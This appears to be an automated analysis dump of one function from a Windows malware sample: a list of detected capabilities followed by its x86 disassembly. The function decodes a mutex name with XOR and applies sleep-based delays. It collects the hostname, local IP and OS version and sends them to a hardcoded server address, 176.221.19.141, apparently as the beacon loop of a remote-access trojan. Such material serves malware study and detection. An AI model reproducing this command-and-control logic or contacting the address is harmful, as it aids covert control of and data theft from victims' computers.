Function at 0x4035d0
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Encode data using xor
Get hostname
Get local ipv4 addresses
Get socket information
Initialize winsock library
Set socket configuration
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x438
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x434], eax
mov eax, dword [0x41f8c8]
push esi
push edi
test eax, eax
je 0x403617
xor ecx, ecx
nop word [eax + eax]
imul eax, eax, 0x59
add eax, 0xfd
xor byte [ecx + str.68EJx06Un2Tl], al
inc ecx
cmp ecx, 0x284
jb 0x403600
push str.68EJx06Un2Tl
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403c0e
lea eax, [esp + 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea ecx, [esp + 0x40]
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], 0
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x420764], 1
jne 0x4036b0
imul eax, dword [0x41fb50], 0xea60
mov dword [0x420764], 0
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x420764], 1
mov dword [0x41fb50], 0
je 0x40374d
movups xmm2, xmmword [0x41fb30]
lea eax, [esp + 0xa0]
movups xmm1, xmmword [0x41fb40]
push eax
paddd xmm2, xmm1
movaps xmm0, xmm2
psrldq xmm0, 8
paddd xmm2, xmm0
movups xmm0, xmm2
psrldq xmm0, 4
paddd xmm2, xmm0
movd esi, xmm2
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
test esi, esi
je 0x403717
mov ax, word [esp + 0xa4]
test ax, ax
jne 0x40370a
mov eax, 7
mov word [esp + 0xa4], ax
movzx eax, ax
cmp dword [eax*4 + 0x41fb30], 0
je 0x40374d
mov edx, dword [0x41fb2c]
test edx, edx
je 0x40375d
mov esi, dword [0x41fb28]
cmp esi, edx
jae 0x40375d
movzx eax, word [esp + 0xa8]
mov ecx, eax
shl ecx, 4
sub ecx, eax
movzx eax, word [esp + 0xaa]
lea eax, [eax + ecx*4]
cmp esi, eax
ja 0x40374d
cmp edx, eax
jae 0x40375d
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403be2
mov ecx, dword [esp + 0x10]
mov eax, str.176.221.19.141
mov dword [esp + 0x14], 0x41fa90
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x403a86
mov esi, dword [0x41fb1c]
push 0x80
push 0
push 0x4206e0
call fcn.00406600
add esp, 0xc
push 0x80
push 0
push 0x420768
call fcn.00406600
add esp, 0xc
push 0x80
push 0
push 0x420660
call fcn.00406600
add esp, 0xc
push 0x41fa9c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4037e6
push 0x41fa9c
push 0x4206e0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x420760], esi
mov esi, dword [esp + 0x14]
mov esi, dword [esi]
call edi
push esi
push dword [esp + 0x20]
lea ecx, [esp + 0x48]
call fcn.00401250
test eax, eax
je 0x403a86
push 0xe0
lea eax, [esp + 0xcc]
mov dword [esp + 0x14], 0
push 0
push eax
call fcn.00406600
add esp, 0xc
mov byte [esp + 0xc8], 0x2c
lea eax, [esp + 0xcc]
mov byte [esp + 0x1a2], 0
mov dword [esp + 0x168], 0x3e8
mov dword [esp + 0xcc], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x100
lea eax, [esp + 0x33c]
push 0
push eax
call fcn.00406600
add esp, 0xc
lea eax, [esp + 0x338]
push 0x100
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 0x10
push eax
lea eax, [esp + 0xb4]
xorps xmm0, xmm0
push eax
push dword [esp + 0x58]
movaps xmmword [esp + 0xbc], xmm0
call dword [sym.imp.WS2_32.dll_getsockname]
movups xmm0, xmmword [esp + 0x338]
mov eax, dword [esp + 0xb4]
lea ecx, [esp + 0x40]
mov dword [esp + 0x16c], eax
mov ax, word [esp + 0x368]
movups xmmword [esp + 0x170], xmm0
mov word [esp + 0x1a0], ax
movups xmm0, xmmword [esp + 0x348]
mov eax, dword [esp + 0x44]
mov dword [esp + 0x1a4], eax
lea eax, [esp + 0xc8]
movups xmmword [esp + 0x180], xmm0
push 0xe0
movups xmm0, xmmword [esp + 0x35c]
push eax
movups xmmword [esp + 0x198], xmm0
call fcn.00401f40
lea eax, [esp + 0x40]
mov dword [esp + 0x28], vtable.CKernelEXManager.0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x40394c
push eax
push 0x4207e8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 1
push 0
mov dword [0x41f8c0], esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x48], eax
call edi
mov esi, eax
call edi
sub eax, esi
cmp eax, 0x1d4c0
jb 0x403999
call edi
mov esi, eax
mov byte [esp + 0xf], 0x2b
push 1
lea eax, [esp + 0x13]
push eax
lea ecx, [esp + 0x48]
call fcn.00401f40
cmp eax, 0xffffffff
je 0x4039c3
push 0x1f4
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x41f8c4]
mov ecx, dword [0x420764]
cmp edx, 1
jne 0x4039cf
test eax, eax
je 0x4039cf
test ecx, ecx
je 0x403970
jmp 0x4039cf
mov ecx, dword [0x420764]
mov edx, dword [0x41f8c4]
test edx, edx
je 0x403aa6
cmp ecx, 1
jne 0x403a5f
mov eax, dword [esp + 0x50]
cmp eax, 0xffffffff
je 0x403a5f
push 4
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0x24]
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [esp + 0x50]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x50], 0xffffffff
mov dword [esp + 0x44], 0
test eax, eax
je 0x403a5f
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x403a4d
push 0
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x4c], 0
push dword [esp + 0x34]
mov dword [esp + 0x2c], vtable.CKernelEXManager.0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x1c]
add dword [esp + 0x14], 4
sub eax, 0xffffff80
mov dword [esp + 0x1c], eax
cmp eax, 0x41fa90
jl 0x403776
jmp 0x403b58
mov eax, dword [esp + 0x50]
cmp eax, 0xffffffff
je 0x403b29
push 4
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [esp + 0x50]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x50], 0xffffffff
mov dword [esp + 0x44], 0
test eax, eax
je 0x403b29
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x403b17
push 0
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x4c], 0
push dword [esp + 0x34]
mov dword [esp + 0x1c], 1
mov dword [esp + 0x2c], vtable.CKernelEXManager.0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x41f8c4], 0
je 0x403bed
cmp dword [0x41fb24], 0
jne 0x403b76
xor ecx, ecx
mov dword [esp + 0x14], ecx
jmp 0x403b86
call edi
xor edx, edx
div dword [0x41fb24]
mov ecx, edx
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x10]
inc edx
mov dword [esp + 0x10], edx
cmp edx, 3
jle 0x403bb2
mov dword [0x420764], 1
mov dword [0x41fb50], 0xa
mov dword [esp + 0x10], 0
jmp 0x403be2
mov eax, dword [0x41fb20]
xor esi, esi
add eax, ecx
test eax, eax
jle 0x403be2
nop
cmp dword [0x41f8c4], 0
je 0x403c26
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x41fb20]
inc esi
add eax, dword [esp + 0x14]
cmp esi, eax
jl 0x403bc0
cmp dword [esp + 0x18], 0
je 0x403675
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x3c]
test edi, edi
je 0x403c05
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call esi
lea ecx, [esp + 0x40]
call fcn.004010c0
mov ecx, dword [esp + 0x43c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0040506d
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esp + 0x50]
cmp eax, 0xffffffff
je 0x403bed
push 4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [esp + 0x50]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x50], 0xffffffff
mov dword [esp + 0x44], 0
test eax, eax
je 0x403bed
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x403c9b
push 0
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esp + 0x4c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov dword [esp + 0x4c], 0
jmp 0x403bf3